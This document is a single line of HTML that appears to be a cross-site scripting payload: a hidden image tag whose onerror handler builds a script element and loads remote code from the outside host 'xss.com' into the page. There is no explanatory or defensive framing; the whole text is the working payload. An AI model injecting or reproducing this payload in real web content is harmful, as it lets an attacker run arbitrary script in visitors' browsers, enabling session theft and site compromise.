<img style='display:none' src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss.com';>